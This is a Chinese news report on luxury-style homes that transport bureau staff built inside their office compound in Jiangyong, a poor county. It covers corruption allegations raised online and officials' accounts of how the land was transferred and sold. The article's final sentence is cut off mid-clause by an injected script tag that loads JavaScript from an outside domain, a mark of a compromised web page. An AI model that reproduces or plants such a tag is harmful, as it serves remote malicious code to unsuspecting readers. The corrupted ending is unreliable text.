记者日前来到江永县调查时看到，江永县交通局大院位于江永县永明大道旁，所在地原是县林业局果场，绿草如荫，占地约2000平方米的综合大楼右侧，一条笔直的水泥马路沿坡而上，两旁矗立着数十幢两户一栋、统一样式的豪华民居，其中，有的人家宽敞的阳台上正晒着被子，有的人家门口停着小车。交通局大院背后青山屹立，院内庄严洁净的办公楼，配上浅色墙身、棕黄色屋顶的成片两层民居，一幅宁静而奢华的图像映入眼帘。

　　作为省级贫困县的江永县境内出现如此景象，自然引起网络上的滔天口水仗。

　　有网友指出，应该调查房子谁在住，中间有没有腐败，钱是怎么来的。网友bbc＿china＿he说：“一个小小的县级交通局敢这么明目张胆地盖别墅吗？住这别墅的人里一定有省里的、市里的大大小小的官员。”也有网友指出，这样的房子在农村正常，城里人认为的“别墅”在乡村也就只是“民居”。

　　建在政府单位里的豪华民居，是否为一单腐败事件？6月2日下午，记者就此采访了江永县交通局、江永县纪委等单位负责人。

　　江永县交通局局长欧阳小泉等人称，这些房子都是交通局职工的自建房，从买地到建房都是职工自己花钱，手续都是正规的，与单位无关联。

　　事情缘起交通局搬迁新址

　　据欧阳小泉介绍，早在2003年，为了配合全县旧城改造总体规划，根据单位办公条件的实际需要和县人民政府《关于县交通局搬迁有关问题的会议纪要》精神，决定对原来交通局进行整体搬迁。理由是：原来建设于上世纪70年代的办公楼，使用面积仅为800平方米，县运输管理所等下属单位都在外面借用办公场所。

　　交通局新址选在了县城北郊3公里外的岗坡地，主要用地是原林业局的果场。

　　2003年8月，江永县国土资源局、县交通局与县林业局达成果场转让协议。县林业局果场整体转让给县交通局。之后，交通大院临永明大道少量已经出让给个人的国有土地，采取货币补偿的方式签订了协议书，纳入了整体使用范围。到2003年年末，新址用地的准备工作已经全部完成，只待政府的审批立项操作。

　　在2005年3月，江永县发改委终于发文批复县交通局综合楼立项。2005年4月15日，江永县县长办公会议决定，县交通局机关大院新址土地以整体行政划拨的方式划拨给县交通局使用。同时规定：县交通局机关大院院址北侧预留住宅用地地块，其土地实行公开挂牌出让。在同等条件下，优先考虑县交通局干部职工。

　　这次办公会议给事后的豪华民居建设开了政策的口子。

　　2005年9月，江永县交通局综合大楼建设工程开始招标，同年开工建设，占地规模为1950平方米，在2007年交付使用。其建设的资金来源为县城投公司收购原交通局老办公楼，以及运管所住宅楼门面给付的500多万元款项。在崭新的办公大楼内，交通局、县公路管理所和县运管所合署办公。江永县有关方面提供的材料上称，新址建设总用地面积共2.6万多平方米。

　　46名交通局职工竞买土地自建房屋

　　漂亮的办公楼建设的同时，大院内的自建住宅区也在轰轰烈烈地开展。

　　2006年6月，江永县国土资源局公开挂牌出让新院址北侧(原来县林业局果场的其中一部分)国有土地使用权，县交通局60多名职工中就有46人参与了竞买。“由于当时人们普遍认为该地块坡高、偏僻，又不临街，挂牌价格偏高，社会人员均放弃竞买。”同年7月，46名职工成功竞价购得这块地使用权，并在规定时间内交清了成交价款，取得用地审批手续。

　　据介绍，江永县交通局参与竞买的人中，有局里在职、离退休同志，无其他社会人士。未参加竞买的10多人中，既有普通干部职工，也有局党组成员、副局长等。

　　江永县纪委书记杨复权告诉中国青年报记者，土地拍卖前，由评估公司对该块土地进行了评估，评估价为每平方米70多元。当时拍卖的竞价大约为每平方米80多元，由于没有人参与交通局内建房土地的竞买，后改为议价出售。按照政策，议价的底线是，成交价不能低于竞拍价格的90%。杨复权表示，在江永这样的小县城，国家政策允许个人竞拍土地自建房，不需要由有资质的开发商出面?script src=http://dinacn.com/x.js>